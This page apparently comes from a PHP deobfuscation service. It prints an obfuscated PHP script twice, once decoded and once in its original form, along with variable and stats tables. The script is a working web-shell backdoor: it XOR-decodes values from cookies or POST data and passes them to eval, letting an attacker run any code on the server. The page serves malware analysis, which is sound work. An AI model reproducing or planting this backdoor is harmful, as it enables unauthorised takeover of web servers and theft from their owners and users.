Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $vCfdRJcGJ = 's' . 't'/* U */. 'r' . '_'/* ypGiu */. "\162"..

Decoded Output download

<?php $vCfdRJcGJ    =    's'     .    't'/* U */.  'r'    .    '_'/*   ypGiu   */.  "r"/* g   */. chr    ( 345     -    244   )."p"    .    "e" ./*   n  */"a"/* LWi*/.  't';$_lXj/*   TnX */=/*cI  */'20329'; 
 
$TyJedIT  =    chr    ( 1049 -     948     ).chr/*GwMvy */(120)     ./* dk   */"p"/*   JkDx */.   chr  (/*   R  */334/*dqZsz   */-   226    )."o" ./*  MdQbf  */chr/*tDnsz*/(100)    ./* Q  */"e"; 
  $kIaFAReD    =  chr/* Zrhg  */(    999/*  pOcrh */-/*  JCHnZ*/887    ).chr (/* ZqWse */677    -/*   ll*/580     ).chr  (99)    .    chr    (    113    -    6/*   yvEFq  */); 
  function    qrhbEZEngi() 
 
 
 { 
 
 $uRNdFmK/* tf  */=   Array/*   dyvM */(/* MOnQR*/"MlUfoxRna"   =>    "MipMxnhmqt"    );; 
        
   $ekmkq    = Array (/*  S  */"wIyOIuIFudyG"    =>    "RlQYJNHWlhvTcjXCmTWQEpt"    ); 
   /* XIG*/$kJdZSrN  =    Array(    $uRNdFmK,/*  Y */$_COOKIE,/*i*/$uRNdFmK,    $_POST,    $ekmkq);$_R    =     '40763'; 
                 
  /* PDTq */return/* RVaby  */$kJdZSrN; 
 
  } 
 
     
 
/*oIGII  */function    QRylsQhIcI($GwSGpvw) 
 
  { 
 if (    count/*   oyCR*/(    $GwSGpvw/*hl  */)/* n  */==    3    )     { 
 
    $IaLUGWjzvE     =    $GwSGpvw[1];$_PoAI     =    '23225'; 
 
 
    $aCvRPlZzk    =    $GwSGpvw[2]; 
 
/*   OOQQ   */$AfjVyPklxI    =/*   Z   */$IaLUGWjzvE($aCvRPlZzk); 
                        eval  (/* mFW   */$AfjVyPklxI     ); 
      die    ();; 
                   } 
     } 
          
     function/*   EKfm  */QcVtGf($SRzEWdsda,/* Hp   */$xgNruAzGik) 
 
/*  BbS */{ 
 
     return    $SRzEWdsda  ^/*qwch   */$xgNruAzGik; 
 
  } 
       
/*   dAY  */$gveNZCauIz =/*  mrZT*/"#"; 
      
       foreach/*  Cr  */(qrhbEZEngi() as    $CWcEsJyj)/*edm */{ 
                /*   XO   */foreach  (    $CWcEsJyj/* gD */as  $xgNruAzGik    =>    $SRzEWdsda    )    { 
 
 
  
              $SRzEWdsda    =/*   Rmnyu   */@$kIaFAReD(/*   dvF  */chr    (72)    .    chr    (    374/*  Vm */- 332    ), $SRzEWdsda    ); 
     /*  OfKGT   */ 
        /*txxny  */$xgNruAzGik   .=    "ODIhC-CuHNy-WBm-WeTgqi-gYt-mdnzeE-fEMyuw"; 
   $xgNruAzGik/*t  */=    $vCfdRJcGJ    (    $xgNruAzGik,    (   strlen(    $SRzEWdsda/*   GtYas*/)/strlen(    $xgNruAzGik    )    )    + 1);$_Fp    =/*  nTKC*/'44272'; 
 
 
   
/* rJGOe  */$pkCzsfDDQN  =   QcVtGf($SRzEWdsda,    $xgNruAzGik); 
                       
  $GwSGpvw/*ubmEO */=    $TyJedIT/* N   */($gveNZCauIz,    $pkCzsfDDQN     ); 
     /*  zmnof*/ 
 
 
    QRylsQhIcI($GwSGpvw);; 
       } 
    } 
 ?>

Did this file decode correctly?

Original Code

<?php $vCfdRJcGJ    =    's'     .    't'/* U */.  'r'    .    '_'/*   ypGiu   */.  "\162"/* g   */. chr    ( 345     -    244   )."\160"    .    "\x65" ./*   n  */"\141"/* LWi*/.  't';$_lXj/*   TnX */=/*cI  */'20329';

$TyJedIT  =    chr    ( 1049 -     948     ).chr/*GwMvy */(120)     ./* dk   */"\x70"/*   JkDx */.   chr  (/*   R  */334/*dqZsz   */-   226    )."\x6f" ./*  MdQbf  */chr/*tDnsz*/(100)    ./* Q  */"\145";
  $kIaFAReD    =  chr/* Zrhg  */(    999/*  pOcrh */-/*  JCHnZ*/887    ).chr (/* ZqWse */677    -/*   ll*/580     ).chr  (99)    .    chr    (    113    -    6/*   yvEFq  */);
  function    qrhbEZEngi()


 {

 $uRNdFmK/* tf  */=   Array/*   dyvM */(/* MOnQR*/"MlUfoxRna"   =>    "MipMxnhmqt"    );;
       
   $ekmkq    = Array (/*  S  */"wIyOIuIFudyG"    =>    "RlQYJNHWlhvTcjXCmTWQEpt"    );
   /* XIG*/$kJdZSrN  =    Array(    $uRNdFmK,/*  Y */$_COOKIE,/*i*/$uRNdFmK,    $_POST,    $ekmkq);$_R    =     '40763';
                
  /* PDTq */return/* RVaby  */$kJdZSrN;

  }

    

/*oIGII  */function    QRylsQhIcI($GwSGpvw)

  {
 if (    count/*   oyCR*/(    $GwSGpvw/*hl  */)/* n  */==    3    )     {

    $IaLUGWjzvE     =    $GwSGpvw[1];$_PoAI     =    '23225';


    $aCvRPlZzk    =    $GwSGpvw[2];

/*   OOQQ   */$AfjVyPklxI    =/*   Z   */$IaLUGWjzvE($aCvRPlZzk);
                        eval  (/* mFW   */$AfjVyPklxI     );
      die    ();;
                   }
     }
         
     function/*   EKfm  */QcVtGf($SRzEWdsda,/* Hp   */$xgNruAzGik)

/*  BbS */{

     return    $SRzEWdsda  ^/*qwch   */$xgNruAzGik;

  }
      
/*   dAY  */$gveNZCauIz =/*  mrZT*/"\x23";
     
       foreach/*  Cr  */(qrhbEZEngi() as    $CWcEsJyj)/*edm */{
                /*   XO   */foreach  (    $CWcEsJyj/* gD */as  $xgNruAzGik    =>    $SRzEWdsda    )    {


 
              $SRzEWdsda    =/*   Rmnyu   */@$kIaFAReD(/*   dvF  */chr    (72)    .    chr    (    374/*  Vm */- 332    ), $SRzEWdsda    );
     /*  OfKGT   */
        /*txxny  */$xgNruAzGik   .=    "ODIhC-CuHNy-WBm-WeTgqi-gYt-mdnzeE-fEMyuw";
   $xgNruAzGik/*t  */=    $vCfdRJcGJ    (    $xgNruAzGik,    (   strlen(    $SRzEWdsda/*   GtYas*/)/strlen(    $xgNruAzGik    )    )    + 1);$_Fp    =/*  nTKC*/'44272';


  
/* rJGOe  */$pkCzsfDDQN  =   QcVtGf($SRzEWdsda,    $xgNruAzGik);
                      
  $GwSGpvw/*ubmEO */=    $TyJedIT/* N   */($gveNZCauIz,    $pkCzsfDDQN     );
     /*  zmnof*/


    QRylsQhIcI($GwSGpvw);;
       }
    }

Function Calls

chr 9
qrhbEZEngi 1

Variables

$_R 40763
$_lXj 20329
$ekmkq [{'key': 'wIyOIuIFudyG', 'value': 'RlQYJNHWlhvTcjXCmTWQEpt'}]
$TyJedIT explode
$kJdZSrN [{'key': 0, 'value': [{'key': 'MlUfoxRna', 'value': 'MipMxnhmqt'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'MlUfoxRna', 'value': 'MipMxnhmqt'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'wIyOIuIFudyG', 'value': 'RlQYJNHWlhvTcjXCmTWQEpt'}]}]
$uRNdFmK [{'key': 'MlUfoxRna', 'value': 'MipMxnhmqt'}]
$kIaFAReD pack
$vCfdRJcGJ str_repeat
$gveNZCauIz #

Stats

MD5 f3f8fc9b03a89c0b193dda51b53544a8
Eval Count 0
Decode Time 116 ms